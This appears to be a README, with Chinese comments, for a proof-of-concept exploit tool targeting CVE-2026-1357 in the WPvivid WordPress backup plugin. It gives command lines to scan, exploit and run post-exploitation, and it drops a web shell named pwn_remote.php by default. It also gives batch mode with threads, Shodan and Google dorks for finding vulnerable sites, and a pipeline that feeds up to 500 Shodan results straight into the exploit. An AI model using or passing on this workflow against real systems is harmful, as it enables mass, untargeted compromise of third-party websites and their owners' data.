git clone https://github.com/cybertechajju/CVE-2026-1357-poc.git
cd CVE-2026-1357-poc
pip install -r requirements.txt

# 仅扫描（检测 WordPress + WPvivid + 版本）
python3 cve_2026_1357.py -u http://target.com

# 扫描 + 利用 + 自动利用后操作
python3 cve_2026_1357.py -u http://target.com --exploit

# 利用但不进行利用后侦察
python3 cve_2026_1357.py -u http://target.com --exploit --no-post

# 批量扫描并生成报告
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report

# 通过 Burp 代理
python3 cve_2026_1357.py -u http://target.com --exploit --proxy http://127.0.0.1:8080

# 仅载荷模式
python3 cve_2026_1357.py -u http://x --payload-only

-u, --url         单个目标 URL
-l, --list        包含 URL 的文件（每行一个）
--exploit         启用利用模式
--shell NAME      Shell 文件名（默认：pwn_remote.php）
--no-post         跳过利用后侦察
--report          生成 Markdown PoC 报告
--report-dir DIR  报告输出目录
-t, --threads N   并发线程数（默认：5）
--timeout SECS    请求超时时间（默认：10）
--proxy URL       用于 Burp 的 HTTP 代理
--payload-only    打印 base64 载荷并退出

# Shodan
http.html:"wpvivid-backuprestore"
http.html:"wpvivid" http.component:"WordPress"

# Google
inurl:"/wp-content/plugins/wpvivid-backuprestore/readme.txt"

# 管道命令
shodan search 'http.html:"wpvivid-backuprestore"' --fields ip_str,port --limit 500 \
  | awk '{print "http://"$1":"$2}' > targets.txt
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report

CVE-2026-1357-poc/
├── cve_2026_1357.py    ← 主工具（扫描器 + 利用器 + 利用后操作）
├── dorks.md            ← Shodan/Google/Censys/FOFA/ZoomEye dorks
├── requirements.txt    ← Python 依赖
├── .gitignore
└── README.md           ← 本文件